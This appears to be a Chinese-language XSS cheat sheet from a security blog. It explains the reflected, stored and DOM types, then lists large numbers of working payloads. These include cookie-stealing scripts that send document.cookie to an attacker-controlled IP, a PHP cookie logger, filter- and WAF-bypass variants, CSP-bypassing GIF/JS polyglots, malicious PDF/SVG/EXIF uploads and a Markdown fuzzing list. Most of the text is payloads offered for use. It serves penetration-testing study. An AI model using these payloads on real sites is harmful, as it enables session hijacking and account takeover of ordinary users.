XSS
XSS(Cross Site Scripting, 跨站脚本攻击), 指的是将恶意代码语句嵌入到当前网页(反射型XSS)或存储到Web应用的数据库(存储型XSS)中, 引诱受害者访问含有恶意代码的网页, 使得恶意代码被执行
主要的目的有获取受害者cookie等登录凭证, 以此来获取操作权限
位置
留言板, 搜索框, 个人资料, 公告, 编辑器等
分类
分为反射型, 存储型, DOM型. 最大的不同可能是数据流经的路径不同
反射型
又称为非持久型, 参数型跨站脚本. 它需要欺骗用户自己去点击链接才能触发XSS代码
一般容易出现在搜索页面、输入框、URL参数处, 大多数是用来盗取用户的Cookie信息
数据流向为: 前端->后端->前端
存储型
又称为持久型跨站脚本, 它的代码是存储在服务器中的. 只需要受害者访问这个界面就会触发
一般出现在、评论、博客日志等于用户交互处, 容易造成蠕虫、盗窃cookie
数据流向: 前端–>后端–>数据库–>后端–>前端
DOM型
DOM是指文档对象模型(Document Object Model), 处理可扩展标记语言的标准编程接口, 程序和脚本可以动态访问和修改文档的内容、结构和样式
DOM-XSS漏洞是基于文档对象模型(Document Objeet Model,DOM)的一种漏洞,不经过后端,DOM-XSS是通过url传入参数去控制触发的, 其实也属于反射型XSS
DOM-XSS不与后台交互
数据流向: 前端->浏览器
利用
验证漏洞
尝试最基础的利用HTML标签属性值执行XSS
, 看看是否存在漏洞
<img src ="javascript.:alert('1')" >
然后可以利用<>标记注射HTML、JavaScript
用于获取当前用户的cookie.
这段代码将访问的用户的cookie将其作为参数拼接到请求中并进行一次访问. 你开设的服务器要有http服务用于接收请求
<script > var myimg = new Image (); myimg.src = 'http://192.168.56.5/?q=' + document .cookie ;</script >
真实情况下, 需要被按到的时候才会触发, 靶机一般会有bot帮你自动触发
还有一些简单的案例
<script > alert ('xss' )</script > <iframe src =javascript:alert( 'xss ')> </iframe > <a href =javascript:alert( 'xss ')> </a > <img scr =1 οnerrοr =alert( 'xss ')> <img src =“http://www.baidu.com/img/logo.gif” οnclick =alert( 'xss ')> <script > alert(1)</script > <img scr =1 onerror =alert(1) > <svg onload =alert(1)/ > <a href =javascript:alert(1) > xss</a >
加载图像成功触发onload, 加载图像失败触发onerror
反弹Cookie
本地XSS 最常见的方法是调用alert(document.cookie)
实现
<script > alert (document .cookie )</script >
服务器反弹cookie
<script > document .location ='http://127.0.0.1/?cookie=' +document .cookie ;</script > <script > alert (document .location ='http://127.0.0.1/?cookie=' +document .cookie )</script >
当然可以写一个php文件用于接收, 但是直接开一个python简易服务器就能满足大部分需要
<?php $file =fopen ("cookie.lst" ,"a" ); if ($_GET ['cookie' ]){ $cookie =$_GET ['cookie' ]; fputs ($file ,"$cookie \r\n" ); } ?>
绕过
利用HTML标签的属性值(伪协议)
<a href ="javascript:alert(/xss/)" > touch me!</a > <img src ="javascript:alert('xss')" > (IE6生效)<img src =" javascript:alert('xss')" >
windows事件: windows对象触发的事件
From事件: HTML表单内动作触发事件
Keyboard事件: 键盘按键
Mouse事件: 鼠标或类似用户触发的事件
Media事件: 多媒体触发的事件
<img src ='./smile.jpg' onmouseover ='alert(/xss/)' > <input type ="text" onclick ="alert(/xss/)" > <img src ="#" onerror =alert(/xss/) > <input type ="button" value ="click me" onclick ="alert('xss')" />
利用CSS
<link rel ="stylesheet" type ="text/css" href ="./xss.css" > <style > @import 'javascript:alert(/xss/)' ; </style > <div style ="width:expression(alert(/xss/))" > <div style ="width:expression(alert('XSS'));" > <img src ="#" style ="xss:expression(alert(/xss/));" > <div style ="background-image:url(javascript:alert('xss'))" > <style > body {background-image :url ("javascript:alert(/xss/)" );} </style > <style > body {background-image : expression (alert ("xss" ));} </style > <div style ="list-style-image:url(javascript:alert('XSS'));" >
大小写
<iMg sRc ='#' Onerror ="alert(/xss/)" /> <a hREf ="javaScript:alert(/xss/)" > click me</a > <iMg sRC ="JaVasCript:alert(0);" > <IMG SRC ="javascript:alert(0);" >
引号
HTML可以不用引号,js可以用反引号代替单双引号
<img src ="#" onerror ="alert(/xss/)" /> <img src ='#' onerror ='alert(/xss/)' /> <img src =# onerror =alert(/xss/) /> <img src ="#" onerror =alert( `xss `)/> <img src ="#" onerror =alert `xss `/> <img src ='javascript:alert(0);' > <img src =javascript:alert(0); >
空格
<img/src='#'/onerror='alert(/xss/)' /> <img/src="javascript:alert('xss');">
Tab和回车
添加Tab和回车绕过关键词检测
<img src ='#' onerror ='alert(/xss/)' /> <a href ="j avascript:alert(/xss/)" > click me</a > <A href ="j avascript:alert(/xss/)" > click me</a >
其他
<div style ="{left:expression(alert('xss'))" > <div style ="wid/**/th:expre/*xss*/ssion(alert('xss'));" > <style > @imp \0ort 'java\0scri\pt:alert(/xss/)' ; </style > <style > @imp \ort 'ja\0va\00sc\000ri\0000pt:alert(/xss/)' ; </style > <div style ="xss:\65xpression(alert('XSS'));" > <div style ="xss:\065xpression(alert('XSS'));" > <div style ="xss:\0065xpression(alert('XSS'));" >
<img src =x οnerrοr =alert(1)// "> <comment > <img src ="</comment><img src=x οnerrοr=alert(1)//" > <style > <img src =“ </style > <img src =x onerror =alert(1)//” >
</script > <script > alert ('Eastmount' )</script > 1";</script > <img scr =1 οnerrοr =alert(‘Eastmount’) > <script > ’;alert(‘Eastmount’);' Eastmount’;alert($a);// /"><script > alert ('Eastmount' ) </script > "< "/"><img src =1 οnerrοr =alert( 'Eastmount ')> <form <!-- 绕过URL锚点 (#)连接 -- > http://localhost/xss/xss9.php#<script > alert ('Eastmount' )</script >
组合svg
<img src ="data:image/svg+xml,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20onload%3D%22alert(1)%22%2F%3E" >
利用图像属性
<img src ="valid.jpg" onerror ="eval(atob('YWxlcnQoJ1hTUycp'))" style ="display:none" >
多阶段攻击
<img src ="/uploads/1.gif" onerror ="loadNext()" > <script > function loadNext ( ) { var img = new Image (); img.onerror = function ( ) { stealData () }; img.src = "/uploads/2.gif" ; } </script >
关键词过滤绕过
大小写绕过, 编码绕过, 更换关键词绕过
<scrscriptipt > alert(/xss/)</scrscriptipt > <sc<script > ript>alert ('xss' )</s </script > cript>
html实体编码
<a href ="ja va script:alert(/xss/)" > click me</a >
url编码
ASCII编码
<img src ="javascript:alert('xss');" > <img src ="javascript:alert('xss');" > <img src ="javascript:alert('xss');" >
十进制
<img src ="javascript:a& #108ert('xss');" >
十六进制
<img src ="javascript:&# x61lert('xss');" >
字符编码eval()
函数, eval()
和string.fromCharCode()
函数过滤
<script > eval ("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29" ); </script > <img src ="javascript:eval(String.fromCharCode(97,108,101,114,116,40,39,120,115,115,39,41))" >
一些过滤: 有广告的文章
对于alert过滤: 记录一次某客户系统的漏洞挖掘
<img src =x onerror =prompt(1) > xsspayload<img src =x onerror =confirm(1) >
字符串拼接 + 动态属性访问 + 替代函数
c=1 ;top['ale' +'rt' ].call (null ,c)
这个xss只需要更换外壳即可
<img src =\ "x \" onerror =\ "c ='coo' +'kie ';top ['ale '+'rt '].call (null ,document [c ])\"> <script > c=1 ;top['ale' +'rt' ].call (null ,c) </script > <img src =x onerror ="c=1;top['ale'+'rt'].call(null,c)" >
解析如下:
表示浏览器窗口层级中的最顶层窗口, 在 XSS 上下文中, 直接访问顶级窗口对象可绕过框架限制; 即使页面嵌入在 iframe 中, top
也能访问主窗口的方法
通过字符串拼接 'ale' + 'rt'
生成完整方法名 'alert'
使用方括号语法访问对象属性,规避字符串过滤
等价于 top.alert
,但避免了直接出现 “alert” 完整字符串
Function.prototype.call()
是 JavaScript 核心方法:
第一个参数 null
设置函数执行上下文( this
值), 第二个参数 c
作为实参传递给函数;
最终执行效果等价于 alert(c)
, 你想要弹出什么你就填进去, 或者给c赋值
首先规避了关键词的出现, 同时JavaScript允许通过字符串动态访问对象属性, 这个是无法被完全禁用的
拓展
markdown编辑器
具体情境具体分析
HackTricks
插入超链接如下, 会被转成 HTML 代码:
[click](https://www.baidu.com) => <a href="https://www.baidu.com/">Click Me</a>
对于图片的 markdown 语法则如下:
 => <img src="http://example.com/1.png" alt="a">
伪协议->超链接
在没有明显过滤的情况下直接插入 XSS 代码会被解析为超链接, 点击后弹窗
<a href ="javascript:prompt(document.cookie)" > a</a >
利用 Markdown 语法进行插入
小括号不能被解析, 于是用的反引号; XSS 编码绕过似乎也有说法
[s ](javascript:alert`1` ) [a ](javascript:prompt(document.cookie )) <!-- Other links attacks with some bypasses --> [Basic ](javascript:alert('Basic' )) [Local Storage ](javascript:alert(JSON.stringify(localStorage ))) [CaseInsensitive ](JaVaScRiPt:alert('CaseInsensitive' )) [URL ](javascript://www.google.com%0Aalert('URL' )) [In Quotes ]('javascript:alert("InQuotes" )') [a ](j a v a s c r i p t:prompt(document.cookie )) [a ](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K ) [a ](javascript:window.onerror=alert;throw%201 )
插入图片
同样是没有明显过滤的情况下, 直接插入 XSS 代码即可
<img src ="https://example.com" onerror =alert(1) >
符合 markdown 格式的:
>) >) >) >)
有的时候需要逃逸出src属性或者alt属性当中的双引号, 然后直接在后面接上 onerror
等属性即可构造 xss
理论没输过, 实战没成过
逃逸alt  逃逸src: //)
延长XSS生命周期
【XSS】延长 XSS 生命期(已过时)
PDF XSS
PDF注入值得新开一篇文章
新建一个空的 PDF, 对着空白界面右键, 选择属性
页面属性中, 动作栏中有一个打开界面时的操作, 打开时编辑动作列表
新增->运行 JavaScript
写入 XSS, 如下所示, 点击确定, 最后另存为即可
制作 PDF 文件后直接用浏览器打开能触发 XSS, 目的当然是让网站在线解析我们制作的 PDF
如果你不喜欢还可以换一个方式, 比如用python
from PyPDF2 import PdfReader, PdfWriteroutput_pdf = PdfWriter() page = output_pdf.add_blank_page(width=72 , height=72 ) output_pdf.add_js("app.alert('xss');" ) with open ("alert.pdf" , "wb" ) as f: output_pdf.write(f)
我想这里如果是能执行任意 js 代码, 能不能扩大化利用呢
文件上传XSS
文章
文件名
文件名本身可能会反映在页面上, 所以一个带有XSS命名的文件便可以起到攻击作用
修改文件后缀
能上传 .html
和 .htm
, 在文件内容当中插入 XSS 代码
svg中写入 (Content)
如果网站支持svg格式的文件进行上传的话, 可以上传带有XSS的svg文件
SVG(Scalable Vector Graphics)是一种用于描述二维矢量图形的 XML 格式文件, 可嵌入JavaScript (严格地说, 应该是ECMAScript) 脚本来控制SVG对象
将下面的代码修改为 svg 后缀即可, 上传后访问即可触发
<svg xmlns ="http://www.w3.org/2000/svg" version ="1.1" > <circle cx ="100" cy ="50" r ="40" stroke ="black" stroke-width ="2" fill ="red" /> <script > alert(1)</script > </svg >
svg作为脚本也可以正常触发
<script src ="1.svg" > </script >
EXIF (Exchangeable Image File Format)是一种嵌入在图片文件(如 JPEG, RAW)中的元数据标准, 用于记录拍摄时的设备参数和环境信息; 需要网站解析图片的exif信息才可以使用此方法
不过都可以试试, 插入js的方式是利用exiftool
exiftool -Comment ="<script>alert(1)</script> filename.png"
GIF中写入
建立一个携带有JavaScript payload的GIF图像用作一个脚本的源, 这种技术通常被称为GIF-JavaScript Polyglot
或图像JS注入
, 是一种将JavaScript代码嵌入到看似正常的GIF图像文件中的方法
这对绕过CSP (内容安全策略) 保护 script-src 'self'
是很有用的, 但前提是我们能够成功地在相同的域注入
原理概述
当CSP设置为script-src 'self'
时:
允许加载同源域的脚本文件
阻止内联脚本 (如 <script>alert(1)</script>
)
阻止外部域的脚本
攻击者可以通过:
在同源域上传一个恶意构造的GIF文件 (实际是JS/GIF polyglot)
通过标签引用这个GIF文件
浏览器将其作为脚本执行 (因为来自"self")
下面是一个简单的GIF文件, 保存为gif即可
GIF89a/*<svg/onload=alert(1)>*/=alert(document.domain)//;
文件类unix命令和PHP函数中的 exif_imagetype()
和 getimagesize()
会将其识别为一个GIF文件
最终引用需要script标签
<script src ="/uploads/malicious.gif" > </script >
情景
结合XFF和日志界面
如果存在X-Forwarded-For伪造(这个是低危漏洞)且该系统拥有关于日志的界面(比如说用户操作日志, 反正就是日志经过处理显示在前端的), 可以尝试XSS
X-Forwarded-For(XFF)是一个 HTTP 扩展头部,用于标识客户端通过代理服务器的真实 IP 地址。攻击者可通过直接修改该头部值伪造客户端来源 IP(例如隐藏恶意 IP 或绕过基于 IP 的访问限制),导致服务端误判请求来源。
方法很简单, 利用保存日志时XFF的内容作为IP被写入(且一般日志的读取和保存不会有针对性的waf), 在关于日志的界面被拉出来渲染/执行, 就可以触发XSS甚至RCE
对于h****ei
的waf, 我用了下面这个方法绕过
<details open ontoggle ="c=1;top['ale'+'rt'].call(null,c)" >
waf测试如下:
被过滤 <svg/onload> <img src/onerror=> <script> <input/onfocus=> <alert()> eval 未被过滤 <img/src=x > <img src/onerror> <input/onfocus> <onload> <onload=> <onload=(1)/> <alert>
没有对空格过滤, 但是对特定组合有过滤
似乎是对特定属性存在过滤, 不允许有值, 那就是黑名单
但是, 完全不止, 因为插入多长都没有问题, 所以可以写进去一个完整的html, 甚至能塞个上传点, 记录下肯定有用
结合下拉框
就算界面存在实体化, 但是对于一些下拉列表就不一定有
所以可以在列表读取的地方插入xss, 然后通过下拉列表触发
比如说我这里有一堆项目, 而隔壁管理功能需要用下拉列表选择项目然后再进行管理. 此时我在项目中插入, 在下拉列表处触发
结合审核功能
构造一个用户名是一个 XSS 攻击的申请, 审核员点击通过的时候就可能触发XSS
利用基于AngularJS的XSS实现提权
https://www.freebuf.com/articles/web/213783.html
Fuzzing
[a](javascript:prompt(document.cookie)) [a](j a v a s c r i p t:prompt(document.cookie)) )\ <javascript:prompt(document.cookie)> <javascript:alert('XSS')> \ [a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K) [a](javascript:alert('XSS')) \ [citelol]: (javascript:prompt(document.cookie)) [notmalicious](javascript:window.onerror=alert;throw%20document.cookie) [test](javascript://%0d%0aprompt(1)) [test](javascript://%0d%0aprompt(1);com) [notmalicious](javascript:window.onerror=alert;throw%20document.cookie) [notmalicious](javascript://%0d%0awindow.onerror=alert;throw%20document.cookie) [a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K) [clickme](vbscript:alert(document.domain)) _http://danlec_@.1 style=background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIAAAABACAMAAADlCI9NAAACcFBMVEX/AAD//////f3//v7/0tL/AQH/cHD/Cwv/+/v/CQn/EBD/FRX/+Pj/ISH/PDz/6Oj/CAj/FBT/DAz/Bgb/rq7/p6f/gID/mpr/oaH/NTX/5+f/mZn/wcH/ICD/ERH/Skr/3Nz/AgL/trb/QED/z8//6+v/BAT/i4v/9fX/ZWX/x8f/aGj/ysr/8/P/UlL/8vL/T0//dXX/hIT/eXn/bGz/iIj/XV3/jo7/W1v/wMD/Hh7/+vr/t7f/1dX/HBz/zc3/nJz/4eH/Zmb/Hx//RET/Njb/jIz/f3//Ojr/w8P/Ghr/8PD/Jyf/mJj/AwP/srL/Cgr/1NT/5ub/PT3/fHz/Dw//eHj/ra3/IiL/DQ3//Pz/9/f/Ly//+fn/UFD/MTH/vb3/7Oz/pKT/1tb/2tr/jY3/6en/QkL/5OT/ubn/JSX/MjL/Kyv/Fxf/Rkb/sbH/39//iYn/q6v/qqr/Y2P/Li7/wsL/uLj/4+P/yMj/S0v/GRn/cnL/hob/l5f/s7P/Tk7/WVn/ior/09P/hYX/bW3/GBj/XFz/aWn/Q0P/vLz/KCj/kZH/5eX/U1P/Wlr/cXH/7+//Kir/r6//LS3/vr7/lpb/lZX/WFj/ODj/a2v/TU3/urr/tbX/np7/BQX/SUn/Bwf/4uL/d3f/ExP/y8v/NDT/KSn/goL/8fH/qan/paX/2Nj/HR3/4OD/VFT/Z2f/SEj/bm7/v7//RUX/Fhb/ycn/V1f/m5v/IyP/xMT/rKz/oKD/7e3/dHT/h4f/Pj7/b2//fn7/oqL/7u7/2dn/TEz/Gxv/6ur/3d3/Nzf/k5P/EhL/Dg7/o6P/UVHe/LWIAAADf0lEQVR4Xu3UY7MraRRH8b26g2Pbtn1t27Zt37Ft27Zt6yvNpPqpPp3GneSeqZo3z3r5T1XXL6nOFnc6nU6n0+l046tPruw/+Vil/C8tvfscquuuOGTPT2ZnRySwWaFQqGG8Y6j6Zzgggd0XChWLf/U1OFoQaVJ7AayUwPYALHEM6UCWBDYJbhXfHjUBOHvVqz8YABxfnDCArrED7jSAs13Px4Zo1jmA7eGEAXvXjRVQuQE4USWqp5pNoCthALePFfAQ0OcchoCGBAEPgPGiE7AiacChDfBmjjg7DVztAKRtnJsXALj/Hpiy2B9wofqW9AQAg8Bd8VOpCR02YMVEE4xli/L8AOmtQMQHsP9IGUBZedq/AWJfIez+x4KZqgDtBlbzon6A8GnonOwBXNONavlmUS2Dx8XTjcCwe1wNvGQB2gxaKhbV7Ubx3QC5bRMUuAEvA9kFzzW3TQAeVoB5cFw8zQUGPH9M4LwFgML5IpL6BHCvH0DmAD3xgIUpUJcTmy7UQHaV/bteKZ6GgGr3eAq4QQEmWlNqJ1z0BeTvgGfz4gAFsDXfUmbeAeoAF0OfuLL8C91jHnCtBchYq7YzsMsXIFkmDDsBjwBfi2o6GM9IrOshIp5mA6vc42Sg1wJMEVUJlPgDpBzWb3EAVsMOm5m7Hg5KrAjcJJ5uRn3uLAvosgBrRPUgnAgApC2HjtpRwFTneZRpqLs6Ak+Lp5lAj9+LccoCzLYPZjBA3gIGRgHj4EuxewH6JdZhKBVPM4CL7rEIiKo7kMAvILIEXplvA/bCR2JXAYMSawtkiqfaDHjNtYVfhzJJBvBGJ3zmADhv6054W71ZrBNvHZDigr0DDCcFkHeB8wog70G/2LXA+xIrh03i02Zgavx0Blo+SA5Q+yEcrVSAYvjYBhwEPrEoDZ+KX20wIe7G1ZtwTJIDyMYU+FwBeuGLpaLqg91NcqnqgQU9Yre/ETpzkwXIIKAAmRnQruboUeiVS1cHmF8pcv70bqBVkgak1tgAaYbuw9bj9kFjVN28wsJvxK9VFQDGzjVF7d9+9z1ARJIHyMxRQNo2SDn2408HBsY5njZJPcFbTomJo59H5HIAUmIDpPQXVGS0igfg7detBqptv/0ulwfIbbQB8kchVtNmiQsQUO7Qru37jpQX7WmS/6YZPXP+LPprbVgC0ul0Op1Op9Pp/gYrAa7fWhG7QQAAAABJRU5ErkJggg==);background-repeat:no-repeat;display:block;width:100%;height:100px; onclick=alert(unescape(/Oh%20No!/.source));return(false);// <http://\<meta\ http-equiv=\"refresh\"\ content=\"0;\ url=http://danlec.com/\"\>> [text](http://danlec.com " [@danlec](/danlec) ") [a](javascript:this;alert(1)) [a](javascript:this;alert(1) ) [a](javascript:this;alert(1) ) [a](Javasc ript:alert(1) ) [a](Javas%26%2399;ript:alert(1) ) [a](javascript:alert (1) ) [a](javascript:confirm(1) [a](javascript://www.google.com%0Aprompt(1)) [a](javascript://%0d%0aconfirm(1);com) [a](javascript:window.onerror=confirm;throw%201) [a](javascript:alert(document.domain) ) [a](javascript://www.google.com%0Aalert(1)) [a]('javascript:alert("1")') [a](JaVaScRiPt:alert(1)) ) ) </http://<?php\><\h1\><script:script>confirm(2) [XSS](.alert(1);) [ ](https://a.de?p=[[/data-x=. style=background-color:#000000;z-index:999;width:100%;position:fixed;top:0;left:0;right:0;bottom:0; data-y=.]]) [ ](http://a?p=[[/onclick=alert(0) .]]) [a](javascript:new%20Function`al\ert\`1\``;) [XSS](javascript:prompt(document.cookie)) [XSS](j a v a s c r i p t:prompt(document.cookie)) [XSS](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K) [XSS](javascript:alert('XSS')) [XSS]: (javascript:prompt(document.cookie)) [XSS](javascript:window.onerror=alert;throw%20document.cookie) [XSS](javascript://%0d%0aprompt(1)) [XSS](javascript://%0d%0aprompt(1);com) [XSS](javascript:window.onerror=alert;throw%20document.cookie) [XSS](javascript://%0d%0awindow.onerror=alert;throw%20document.cookie) [XSS](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K) [XSS](vbscript:alert(document.domain)) [XSS](javascript:this;alert(1)) [XSS](javascript:this;alert(1)) [XSS](javascript:this;alert(1)) [XSS](Javascript:alert(1)) [XSS](Javas%26%2399;ript:alert(1)) [XSS](javascript:alert(1)) [XSS](javascript:confirm(1) [XSS](javascript://www.google.com%0Aprompt(1)) [XSS](javascript://%0d%0aconfirm(1);com) [XSS](javascript:window.onerror=confirm;throw%201) [XSS](�javascript:alert(document.domain)) )\ \ \